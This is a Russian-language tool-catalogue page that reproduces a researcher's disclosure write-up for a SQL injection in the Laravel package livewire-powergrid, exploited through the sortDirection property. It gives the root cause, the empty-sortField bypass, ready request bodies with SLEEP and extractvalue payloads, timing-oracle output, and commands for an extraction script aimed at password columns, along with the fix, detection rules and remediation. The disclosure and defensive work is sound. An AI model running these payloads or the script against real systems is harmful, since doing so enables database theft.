Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2026-65971 — Доказательство концепции и техническое описание для CVE-2026-65971 — SQL-инъекция через свойство sortDirection Livewire в power-components/livewire-powergrid (< 6.10.4) | Kitploit
Инструменты/GitHubGitHub/biitts/poc-cve-2026-65971
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubbiitts/poc-cve-2026-65971

POC-CVE-2026-65971

Доказательство концепции и техническое описание для CVE-2026-65971 — SQL-инъекция через свойство sortDirection Livewire в power-components/livewire-powergrid (< 6.10.4)

Репозиторий
128 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-65971 — SQL-инъекция в Livewire PowerGrid через sortDirection

Концептуальное доказательство и полное техническое описание для CVE-2026-65971 / GHSA-7fgc-3h6c-698r, SQL-инъекция в power-components/livewire-powergrid доступная через публичное свойство Livewire sortDirection.

CVECVE-2026-65971
GHSAGHSA-7fgc-3h6c-698r
Пакетpower-components/livewire-powergrid (Composer / Packagist)
Затронутые версии>= 6.0.0, < 6.10.4
Исправлено6.10.4
УязвимостьCWE-89 — Неправильная нейтрализация специальных элементов, используемых в SQL-команде
Серьёзность7.6 Высокая — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
СообщилCaio Fabrício (@BiiTts)
РаскрытиеКоординированное, через частное уведомление о безопасности GitHub
├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction
├── lab/ build the vulnerable app to reproduce it yourself
├── evidence/EVIDENCE.txt raw lab notes from confirmation
├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix
└── detection/ Sigma rules + Nuclei template for defenders
root@kitploit:~
---

## 🧠 Краткое описание

PowerGrid — это компонент таблицы данных (datatable) для Laravel + Livewire (~2k звезд, широко используется в административных панелях Laravel). Его состояние сортировки хранится в двух **public свойствах Livewire**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';

В Livewire публичное свойство является частью wire-формата компонента — любой клиент, который может добраться до компонента, может установить его через POST /livewire/update. Это сделано намеренно; граница безопасности заключается в том, что сервер делает с этим значением.

Функция naturalSort() PowerGrid строит сырое выражение ORDER BY, содержащее литеральный заполнитель {sortDirection}, и конвейер заменяет этот заполнитель на сырое, непроверенное значение свойства перед передачей строки в orderByRaw(). Таким образом, ключевое слово направления попадает в SQL дословно.

Собственный orderBy() Laravel отклоняет всё, что не является asc/desc, и эта проверка делает обычный путь сортировки безопасным. Ошибка в том, что существует второй, непроверенный путь к тому же предложению — и злоумышленник может добраться до него, полностью минуя проверяющий путь (см. Обход).

Результат: произвольный SQL в предложении ORDER BY, эксплуатируемый как слепой булевый/временной оракул для чтения любых данных, которые может прочитать пользователь базы данных.


🔥 Воздействие

Любой, кто может получить доступ к таблице PowerGrid, использующей naturalSort, может прочитать произвольные данные из базы данных — другие таблицы, хеши паролей, токены сессий, ключи API, записи других арендаторов — с помощью временного/булевого оракула.

  • Конфиденциальность: Высокая. Полное чтение всего, что пользователь БД может SELECT.
  • Целостность: Низкая. Стековые запросы блокируются конфигурацией PDO MySQL по умолчанию, поэтому ; UPDATE ... не выполняется. Влияние на запись ограничено тем, что может вызвать подзапрос.
  • Доступность: Низкая. Та же примитивная возможность даёт атакующему SLEEP() и тяжелые подзапросы — тривиально злоупотребляемые для блокировки потоков базы данных.
  • Типичное размещение является отягчающим фактором. Таблицы PowerGrid находятся в панелях администраторов и многопользовательских бэк-офисах — именно там, где находятся интересные данные. Пользователь-арендатор с низкими привилегиями, получив доступ к такой таблице, может выгрузить всю базу данных.

Требуемые привилегии — PR:L, потому что таблица данных обычно находится за аутентификацией приложения. Если затронутая таблица отображается на неаутентифицированной странице, пересчитайте с PR:N → 8.2 Высокий.


🧩 Первопричина — полная цепочка заражения

Три файла, три стадии. Все ссылки относятся к уязвимому тегу v6.10.3.

Стадия 1 — Источник: контролируемое злоумышленником публичное свойство

`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13

root@kitploit:~
Ни одно из свойств не имеет белого списка, правила проверки или нормализующего сеттера. `sortDirection` только присваивается или переворачивается:```php
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

updatedSortDirection() (строка 103) существует — естественное место для проверки, — но в v6.10.3 он обрабатывает только бухгалтерию ленивой загрузки. Он никогда не проверяет значение.

Поскольку Livewire гидратирует публичные свойства напрямую из запроса, sortDirection на этом этапе полностью контролируется атакующим как произвольная строка.

Этап 2 — Сырое условие: naturalSort() помещает заполнитель

src/Providers/Macros.php, строки 102–116 — макрос столбца naturalSort:```php Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column { $this->enableSort();

root@kitploit:~
if ($when) {
    $this->rawQueries[] = [
        'method'   => 'orderByRaw',                          // <-- raw sink
        'sql'      => Sql::sortStringAsNumber($this->dataField),
        'bindings' => [],
    ];
}

return $this;

});

root@kitploit:~
`Sql::sortStringAsNumber()` разрешается в выражение, зависящее от драйвера, создаваемое с помощью `getSortSqlByDriver()` в `src/DataSource/Support/Sql.php` (строки 60–100). Все варианты драйверов заканчиваются одним и тем же буквальным заполнителем:```php
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

Уязвимость является независимой от драйвера — каждая ветвь интерполирует {sortDirection}.

Этап 3 — Сток: плейсхолдер разрешается с использованием необработанного значения свойства

`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }

root@kitploit:~
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
    $property = trim($matches[1]);

    return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
}, $sql);

}

root@kitploit:~
и выполнение, line 52:```php
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

data_get($this->component, 'sortDirection') возвращает строку атакующего, preg_replace_callback вставляет её в SQL-текст, а orderByRaw() — который по контракту не экранирует свой аргумент — передаёт её базе данных.

Обратите внимание на горькую иронию строкой ниже: resolveBindings() (строка 69) существует, и naturalSort объявляет 'bindings' => []. Механизм безопасной параметризации прямо здесь. Его нельзя использовать для ключевого слова направления — ORDER BY x ? не является допустимым SQL, направление никогда не может быть связанным параметром — именно поэтому ключевое слово направления должно быть внесено в белый список.

Цепочка в одной строке```

POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL

root@kitploit:~
---

## 🔓 Обход — почему валидация Laravel вас не спасет

Это та часть, которая превращает «сырую интерполяцию» в реально эксплуатируемую ошибку, и именно поэтому проблема сохранилась в зрелом, широко используемом пакете.

PowerGrid обрабатывает запрос через **конвейер**. Два этапа этого конвейера затрагивают направление сортировки:

**`Sorting` конвейер** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

orderBy() — это проверяющий API Laravel. Передайте ему что-то отличное от asc/desc, и он выбросит:``` InvalidArgumentException: Order direction must be "asc" or "desc".

root@kitploit:~
Итак, на обычном пути — пользователь нажимает на заголовок столбца, `sortField=name`, `sortDirection=<payload>` — фреймворк блокирует инъекцию. Быстрый аудит останавливается здесь и заключает "устранено с помощью Laravel".

**Конвейер `ColumnRawQueries`** — второй этап, показанный выше — **не имеет такой защиты**. Посмотрите на его `handle()` (строки 21–27): он перебирает столбцы и для каждого столбца, содержащего `rawQueries`, применяет их *безоговорочно*. Он никогда не обращается к `sortField`. Он никогда не обращается к результату конвейера `Sorting`.

Эта асимметрия и есть ошибка:

| `sortField` | Конвейер `Sorting` | Конвейер `ColumnRawQueries` | Результат |
|---|---|---|---|
| `"name"` (заполнен) | выполняется → `orderBy()` **проверяет** → выбрасывает исключение из-за полезной нагрузки | выполняется → инъекция | ❌ заблокировано исключением |
| `""` (пустой) | `filled('')` равен `false` → **полностью пропущен** | выполняется → инъекция | ✅ **инъекция срабатывает** |

Установка **`sortField` в пустую строку** заставляет этап проверки пропустить себя, в то время как сырой этап все еще генерирует `naturalSort` `ORDER BY` с `{sortDirection}` атакующего внутри. Проверка Laravel никогда не вызывается, потому что путь кода, содержащий её, никогда не выполняется.

**Таким образом, полная атака использует два поля, а не одно:** `sortDirection` несет полезную нагрузку, а `sortField=""` — это ключ, открывающий дверь.

---

## 🎯 Точные поля

Все происходит через стандартную конечную точку обновления Livewire. Никаких специальных заголовков, никаких пользовательских маршрутов, никаких функций администратора.

**Конечная точка:** `POST /livewire/update`

**Тело (JSON):**```json
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}

| Поле | Роль | Значение | |---|---|---|---| | components[0].updates.sortDirection | точка внедрения | полезная нагрузка SQL, с префиксом допустимого направления, чтобы предложение оставалось синтаксически целым | | components[0].updates.sortField | ключ обхода | "" — пустое, чтобы пропустить проверяющий конвейер Sorting | | components[0].snapshot | инфраструктура | состояние компонента Livewire; извлекается из wire:snapshot="..." в HTML страницы (раскодировать HTML-сущности) | | _token / X-CSRF-TOKEN | инфраструктура | извлекается из data-csrf="..." или блока "csrf":"..." на странице |

Результирующий SQL (лаборатория MariaDB, таблица rooms, столбец name с naturalSort):```sql select * from rooms order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3)) limit 3 offset 0

root@kitploit:~
Полезная нагрузка находится в полноценном выражении списка `ORDER BY`, поэтому подзапрос работает без обёртки, и само предложение остаётся валидным SQL.

---

## 🔬 Как это было найдено — путь через код

Приведённый ниже порядок — это фактическая последовательность рассуждений, включая шаг, который едва не закрыл расследование как ложное срабатывание.

**1. Сначала поверхность атаки: публичные свойства Livewire — это входные данные атакующего.**
Модель самого фреймворка утверждает, что каждое `public` свойство компонента доступно для записи клиентом через `/livewire/update`. Таким образом, вопрос аудита для любого пакета Livewire — не "есть ли пользовательский ввод?", а "какие публичные свойства достигают опасного стока?". Перечислил публичные свойства PowerGrid; `$sortField` и `$sortDirection` выделились как те, что существуют специально для встраивания в SQL.

**2. Проследите за ними до каждого стока.** Выполнил grep по пакету на наличие API сырого SQL — `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — и искал любой, который мог бы принять эти свойства. Срабатывание было у `naturalSort` с `'method' => 'orderByRaw'` в `Macros.php`.

**3. Найдите связь между свойством и стоком.** Сырой SQL в `Sql.php` не ссылался на `$this->sortDirection`; он содержал буквальную строку `{sortDirection}`. Такая шаблонизация подразумевает наличие где-то резолвера. Поиск по шаблону фигурных скобок привёл к `ColumnRawQueries::resolvePlaceholders()` и его `data_get($this->component, $property, '')` — универсальному чтению свойств без экранирования. Источник и сток теперь связаны.

**4. Шаг, который почти всё убил: смягчение.** Первая живая попытка — установка `sortDirection` в полезную нагрузку и запуск — привела не к утечке, а к `InvalidArgumentException: Order direction must be "asc" or "desc".` Laravel'а `orderBy()` перехватывал это. Здесь напрашивался вывод *"фреймворк смягчает, не эксплуатируемо"*, и этот вывод был бы неверен.

**5. Спросите, откуда пришло исключение, а не просто что оно произошло.** Трассировка указывала на `orderBy()` конвейера `Sorting` — **другой этап** по сравнению со стоком `orderByRaw()`, найденным на шаге 2. Два этапа, две независимых записи в один `ORDER BY`, и только один из них проводит валидацию. Это переформулировало вопрос с "могу ли я обойти валидатор Laravel?" (нет — это строгое сравнение) на **"могу ли я добраться до этапа сырого SQL, не выполняя этап валидации?"**

**6. Прочитайте страж.** Этап валидации выполняется под условием `if (filled($this->component->sortField))`. `filled('')` равно `false`. Этап сырого SQL вообще не имеет стража. Обход был прямым следствием: отправить `sortField=""`, и выполняется только незащищённый этап.

**7. Подтвердите эмпирически, дважды, независимыми методами.** Одиночный положительный сигнал — это не находка: разница во времени может быть ограничителем скорости, ошибка может быть общим 500. Понадобилось и доказательство на основе ошибок (база данных буквально возвращает внедрённый подзапрос), и тайм-основанная булева оракула (отличие TRUE от FALSE на реальных данных), прежде чем считать это подтверждённым. См. [Доказательства](#-evidence).

**Обобщаемый вывод:** смягчение на уровне фреймворка защищает только тот путь кода, на котором оно находится. Когда два этапа конвейера пишут в одно и то же предложение SQL, утверждение "фреймворк это валидирует" относится только к одному из них. Всегда спрашивайте, на каком этапе на самом деле находится валидация, и может ли опасный этап выполняться самостоятельно.

---

## 🧪 Доказательства

Лаборатория: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, с компонентом PowerGrid `RoomTable`, у которого колонка `name` объявляет `->naturalSort(true)`, и таблицей `rooms`, содержащей колонку `secret`. Полная лаборатория в [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/).

**Основано на ошибках — внедрённый подзапрос достигает БД буквально** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

База данных разобрала и выполнила предоставленный атакующим SELECT внутри ORDER BY. Это недвусмысленное доказательство инъекции — текст ошибки содержит внедренный SQL в том виде, в котором он был выполнен, а не отправлен.

Слепая time-based — извлечение произвольных данных:``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound

root@kitploit:~
Пара TRUE/FALSE — это то, что переводит это из разряда "что-то медленно" в "я могу прочитать ваши данные": одна и та же форма запроса возвращает два четко разделенных времени в зависимости от условия по значению, которое злоумышленник не может увидеть. Это работающий оракул, и `poc/exploit_powergrid_sqli.py` проходит по нему символ за символом.

> `SLEEP(3)` дает ~9 с вместо ~3 с, потому что сортировка применяет спящее выражение к нескольким строкам — более сильный, а не более слабый сигнал.

Сырые заметки: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt).

---

## ⚙️ Доказательство концепции

Без зависимостей, только стандартная библиотека Python 3.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms

Это будет:

  1. GET страницу и извлеките CSRF-токен вместе с wire:snapshot компонента PowerGrid;
  2. замерить время выполнения обычного запроса sortDirection=asc в качестве базы;
  3. выполнить sortField="" / sortDirection="asc, (SELECT SLEEP(3))" и сравнить время выполнения;
  4. если разница подтверждает выполнение, извлечь данные посимвольно через булевый оракул.

Полезные флаги:```bash

non-destructive check only — verify vulnerable/patched, no data extraction

python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only

choose what to extract

python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20

authenticated targets (datatables usually sit behind login)

python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."

root@kitploit:~
Против пропатченной цели `6.10.4` скрипт не обнаруживает временной дельты и завершается чисто — список разрешенных сворачивает каждый пэйлоад в `asc`.

---

## ✅ Fix analysis (`v6.10.4`)

Мейнтейнеры реализовали **защиту в глубину на четырех точках вызова** — правильный подход для этого класса ошибок. Примитив:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

Строгий список разрешённых значений с безопасным значением по умолчанию — не чёрный список, не экранирование и не регулярное выражение. Для ключевого слова, которое не может быть связанным параметром, это единственный правильный способ контроля.

Применяется в:

  1. ColumnRawQueries::resolvePlaceholders() — приёмник. {sortDirection} теперь обрабатывается особым образом и разрешается только через sanitizeSortDirection(), никогда через общий data_get().
  2. Concerns\Sorting::updatedSortDirection() — хук Livewire. Очищает при записи, так что само свойство больше не может содержать полезную нагрузку.
  3. Concerns\Sorting::sortBy() — очищает аргумент направления.
  4. Pipelines\Sorting::applySingleSort() / applyMultipleSort() — покрывает пользовательские обратные вызовы sortUsing, которые могут строить собственный orderByRaw. Это закрыло второй, связанный путь помимо того, который был изначально сообщён.

Были добавлены регрессионные тесты: tests/Feature/SortDirectionInjectionTest.php и фикстура DishesNaturalSortTable.

Проверка патча выполнена на выпущенном теге (не на обещании): клонирован v6.10.4, проверены все сырые стоки направления, выполнены тесты (30/30 пройдено), и проведён фаззинг sanitizeSortDirection() с 17 нагрузками — временная нагрузка из уведомления, нулевые байты, SQL-комментарии, шестнадцатеричные литералы, смешанный регистр, пробелы, юникод. Все сводятся к asc или desc. Остальные стоки (экспорт через WithExport/ExportableJob, Scout) проходят через проверенный orderBy(), а не через orderByRaw() и не являются инъектируемыми.

Вердикт: ИСПРАВЛЕНО.

Часть diff, относящаяся к безопасности, находится в patch/.


🛡️ Устранение и обнаружение

Если вы используете PowerGrid```bash

composer require power-components/livewire-powergrid:^6.10.4 composer audit

root@kitploit:~
**Обновление — не пытайтесь обойти это.** Если вы действительно не можете обновиться сегодня, временным решением будет санитизация на самом компоненте:```php
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

Это временное решение. Обновитесь.

Я затронут?

Предварительное условие: хотя бы одна колонка должна объявлять naturalSort:```bash grep -rn "naturalSort" app/ resources/

root@kitploit:~
Отсутствие столбца `naturalSort` означает, что исходный `ORDER BY` никогда не регистрируется, и основной путь недоступен. Обратите внимание, что `v6.10.4` также усилил путь обратного вызова `sortUsing` — если ваши пользовательские сортировочные обратные вызовы строят необработанный SQL из направления, вы также подвержены риску через этот путь, независимо от `naturalSort`.

### Обнаружение эксплуатации

Атака представляет собой обычный запрос Livewire; нет необычных конечных точек или методов, на которые можно было бы обратить внимание. Посмотрите на **значение** `sortDirection` — легитимный трафик всегда отправляет только `asc` или `desc`.

Всё остальное по определению является аномалией. Практические признаки:

- `POST /livewire/update`, где тело JSON содержит `"sortDirection"` со значением, не равным точно `asc`/`desc` (без учета регистра) — высокая точность, почти нулевой уровень ложных срабатываний;
- тот же запрос с `"sortField":""` (пустое) вместе с непустым `sortDirection` — точная сигнатура обхода;
- ключевые слова SQL в этом значении: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- журналы ошибок приложения с `SQLSTATE[HY000] 1105` или `SQLSTATE[42000]`, ссылающиеся на `order by`;
- всплески POST-запросов одинаковой формы со временем ответа, распределенным бимодально (быстро/медленно) — проходит слепой оракул.

Два правила Sigma представлены в [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) — одно по телу запроса, другое по сигнатуре ошибки базы данных для случаев, когда логирование тела недоступно. Шаблон Nuclei, который отмечает доступные компоненты PowerGrid (обязательная поверхность), находится в [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml); подтвердите любое попадание с помощью `poc/exploit_powergrid_sqli.py --check-only`.

---

## 📚 Ссылки

- Совет по безопасности GitHub — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Релиз с исправлением — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Разница версий — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [Некорректная нейтрализация специальных элементов, используемых в SQL-команде](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Свойства доступны для записи клиентом](https://livewire.laravel.com/docs/properties#security-concerns)

---

## ⚖️ Юридическая информация

Опубликовано после скоординированного раскрытия, выпущенного патча и публичного уведомления от поставщика. PoC нацелен на локальную лабораторию в [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) и предназначен для защитников, проверяющих свою собственную подверженность риску, и для исследователей, изучающих данный класс ошибок. Запуск его против систем, которые вы не уполномочены тестировать, незаконен. Вы несете ответственность за то, что делаете с ним.

---

**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
Скачать инструмент